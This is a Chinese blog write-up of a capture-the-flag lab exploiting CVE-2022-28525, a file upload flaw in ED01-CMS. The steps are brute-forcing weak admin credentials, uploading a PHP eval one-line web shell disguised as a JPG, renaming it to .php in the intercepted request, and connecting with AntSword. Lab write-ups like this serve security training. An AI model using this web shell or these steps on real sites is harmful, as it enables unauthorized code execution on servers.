春秋云境 | 文件上传 | CVE-2022-28525

最新推荐文章于 2024-10-12 23:00:53 发布
最新推荐文章于 2024-10-12 23:00:53 发布
阅读量237 收藏 3
点赞数 6
分类专栏： 春秋云境靶场 文章标签： 安全 web安全 网络安全 经验分享
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_68416970/article/details/140910519
版权

 

目录

靶标介绍

开启靶场

蚁剑连接

获取 flag

靶标介绍

ED01-CMS v20180505 存在任意文件上传漏洞

开启靶场

发现了一个登录功能，使用 burp 爆破一下

爆破之后得到账号是 admin 密码是 admin，登录后是这样的页面

在左边的菜单栏挨着一个一个找，发现这个地方可以编辑用户的信息，可以修改头像上传头像

构造一个一句话木马，重命名为 1.jpg

1.jpg：
<?php @eval($_POST[cmd]);?>

勾选 new image，上传 1.jpg， 然后抓包，修改后缀为 php，然后放包

放包之后，发现上传成功，右击复制图片链接

蚁剑连接

在根目录发现了 flag

获取 flag

燕雀安知鸿鹄之志哉.
关注
专栏目录
春秋云境 | 文件上传 | CVE-2022-30887
weixin_68416970的博客
08-06 801
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口，客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库，并根据到期、产品等各种参数提供各种报告。该CMS中php_action/editProductImage.php存在任意文件上传漏洞，进而导致任意代码执行。
春秋云境 | 文件上传 | CVE-2022-29464
weixin_68416970的博客
08-04 703
WSO2文件上传漏洞（CVE-2022-29464）是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传，允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
春秋云境 | 文件上传 | CVE-2022-23880
weixin_68416970的博客
08-07 400
taoCMS v3.0.2 文件管理处存在任意文件上传漏洞，攻击者可执行任意代码。
春秋云境：CVE-2022-28525
一只爱吃橙子的羊
11-29 2326
ED01-CMS v20180505 存在任意文件上传漏洞
春秋云境靶场CVE-2022-28525
qq_52923396的博客
07-06 256
CVE-2022-28525 （ED01-CMS v20180505 存在任意文件上传漏洞）4、点击edit，进行编辑，填写password，并上传文件，使用burpsuit抓包。在users/view all users 找到上传页面，6、审查图片元素发现文件路径在/images/ 路径下。3、因为是任意文件上传漏洞，在各页面查找上传接口。2、尝试弱口令admin/admin登录。test.php内容如下。
春秋云境 | 文件上传 | CVE-2023-33440
weixin_68416970的博客
08-07 164
Faculty Evaluation System v1.0 存在未授权任意文件上传漏洞漏洞。
春秋云境：CVE-2022-28525 (文件上传漏洞)
m0_65712192的博客
04-19 1174
ED01-CMS v20180505 存在任意文件上传漏洞
【春秋云境】CVE-2022-28525
m0_49025459的博客
05-05 404
ED01-CMS v20180505 存在任意文件上传漏洞。
春秋云境：CVE-2022-23880
一只爱吃橙子的羊
12-06 1546
taoCMS v3.0.2 文件管理处存在任意文件上传漏洞，攻击者可执行任意代码
CVE-2022-28525复现文档（巨详细，零基础复现）
10-14
CVE-2022-28525 复现文档 本文档旨在详细介绍 CVE-2022-28525 的复现过程，涵盖了靶场的设置、用户名和密码的爆破、木马的上传、文件上传的修改、终端连接等多个方面，旨在帮助读者深入理解漏洞的原理和利用方法。 ...
ED01-CMS 代码问题漏洞（CVE-2022-28525）
千寻的博客
11-27 1151
ED01-CMS v20180505 存在任意文件上传漏洞
CVE-2022-26965
qq_43676541的博客
05-08 239
#简介 原文链接：https://culturesun.
春秋云境：CVE-2022-29464
07-28
- *1* [【春秋云境】CVE-2022-29464](https://blog.csdn.net/ZXW_NUDT/article/details/129159816)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_...
禁用微软的windos安全中心
最新发布
qq_54523516的博客
10-12 582
描述：下载第三方软件常常会收到病毒防护秒杀，第2---提前下载在U盘解压会被干掉程序文件。第3---运行的时候报错，被干掉运行文件。选择禁用windows defender。打开WDControl 1.5.0软件。打开windows安全中心。第1---直接无法下载。
探索光耦：光耦助力高速电吹风安全与性能的革命性提升
forvevr的博客
10-10 436
一旦电吹风内部温度过高或电路出现故障，光耦能够迅速传递故障信号至控制器，触发自动保护机制，切断电源，从而防止元器件损坏，延长电吹风的使用寿命。综上所述，选择搭载光耦技术的高速电吹风，不仅意味着为头发护理带来了更健康、智能的解决方案，更是对安全性和耐用性的有力保障。这一利用光信号实现电气隔离的电子元件，通过独特的非接触式传输方式，有效隔绝了电路的电气联系，从而显著提高了设备的安全性，避免了高压电路可能带来的风险。其中，光耦（光电耦合器）的引入，无疑为电吹风的性能优化与安全保障开辟了新路径。
智能运维与问题诊断工具：提升生产环境的安全稳定性
TechEnthusiast的博客
10-09 222
Prometheus是一个开源的监控和告警系统，而Grafana是一个强大的可视化平台。两者结合使用，可以为系统提供全面的监控和分析能力。ELK Stack是一套强大的日志管理和分析工具集，能够收集、处理、存储和可视化大量日志数据。Datadog是一个全面的监控和分析平台，提供了对应用、服务器、数据库和云服务的实时监控。New Relic提供了全面的应用性能监控和诊断能力，帮助开发团队快速识别和解决问题。PagerDuty是一个事件响应平台，帮助团队快速响应并解决IT事件和中断。
叉车毫米波雷达防撞技术，保护叉车作业安全
jiuxin666的博客
10-09 556
叉车毫米波防撞系统利用毫米波雷达技术实时监测环境，预警并紧急制动防碰撞，适用于狭窄通道，保护驾驶员及财产安全，实现叉车作业安全高效。
网络安全的全面指南
qq_42568323的博客
10-09 1120
网络安全是指保护计算机网络及其数据免受未经授权访问、攻击或破坏的过程。其目标是确保信息的机密性、完整性和可用性。
春秋云境CVE-2022-29464
09-05
春秋云境CVE-2022-29464是指WSO2 API Manager 文件上传漏洞的CVE编号。这个漏洞允许攻击者通过上传恶意文件来执行任意代码，进而导致服务器受到攻击。根据引用，在GitHub上有一个项目，其中包含了与该漏洞相关的利用...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值